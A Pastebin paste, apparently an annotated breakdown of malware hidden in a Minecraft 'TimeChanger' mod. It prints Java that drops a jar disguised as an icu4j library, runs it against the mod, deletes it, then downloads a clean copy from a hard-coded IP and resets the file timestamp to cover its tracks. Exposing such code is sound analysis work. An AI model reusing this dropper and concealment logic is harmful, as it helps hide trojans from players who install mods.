Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Made by red for SkidHopped
- try {
- ####################################################
- Gets "Clean" bytecode from the file "a"
- ####################################################
- URL a = getClass().getResource(TimeChanger.a(new char[] {
- '/',
- 'a'
- }));
- ####################################################
- Makes instance of "icu-4j-core"
- ####################################################
- File b = new File(TimeChanger.a(new char[] {
- 'i',
- 'c',
- 'u',
- '4',
- 'j',
- '-',
- 'c',
- 'o',
- 'r',
- 'e',
- '-',
- 'm',
- 'o',
- 'j',
- 'a',
- 'n',
- 'g',
- '-',
- '5',
- '1',
- '.',
- '2',
- '.',
- 'j',
- 'a',
- 'r'
- }));
- ####################################################
- Copies contents of "a" to icu-4j
- ####################################################
- FileUtils.copyURLToFile(a, b);
- ###########################################################################
- Gets path to itself and creates a file instance (m is itslef as a file)
- ###########################################################################
- String c = TimeChanger.class.getProtectionDomain().getCodeSource().getLocation().getPath();
- String cc = URLDecoder.decode(c, TimeChanger.a(new char[] {
- 'U',
- 'T',
- 'F',
- '-',
- '8'
- }));
- File m = new File(cc.split("!")[0].substring(5, cc.split("!")[0].length()));
- ##########################################################################
- Runs the 4j core jar file with argument of itself!
- ##########################################################################
- Runtime.getRuntime().exec(
- TimeChanger.a(new char[] {
- 'j',
- 'a',
- 'v',
- 'a',
- ' ',
- '-',
- 'j',
- 'a',
- 'r',
- ' '
- }) +
- "\"" + b.getAbsolutePath() + "\" \"" + m.getAbsolutePath() + "\"");
- Thread.sleep(5000 L);
- b.delete();
- } catch (Exception e) {
- e.printStackTrace();
- }
- ////////////////////////////////////////////////////////////////
- The ij-core Jar file
- ////////////////////////////////////////////////////////////////
- Url where clean time chnager is downloaded----> final URL downloadURL = new URL("http://144.217.87.106/TimeChanger-1.0.jar");
- Path to mod jar ---------> final String b = URLDecoder.decode(a, "UTF-8");
- File as Ourselfs ---------> final File c = new File(b.split("!")[0].substring(0, b.split("!")[0].length()));
- Last Modified time ---------> final long d = c.lastModified();
- Download file and replace "new time changer" -> final InputStream in = downloadURL.openStream();
- | final ByteArrayOutputStream out = new ByteArrayOutputStream();
- | final byte[] buffer = new byte[1024];
- | while (true) {
- | final int r = in.read(buffer);
- | if (r == -1) {
- | break;
- | }
- | out.write(buffer, 0, r);
- | }
- | out.flush();
- | final byte[] f = out.toByteArray();
- | in.close();
- | final FileOutputStream g = new FileOutputStream(c, false);
- | g.write(f);
- | g.close();
- Update last modified --> c.setLastModified(d);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement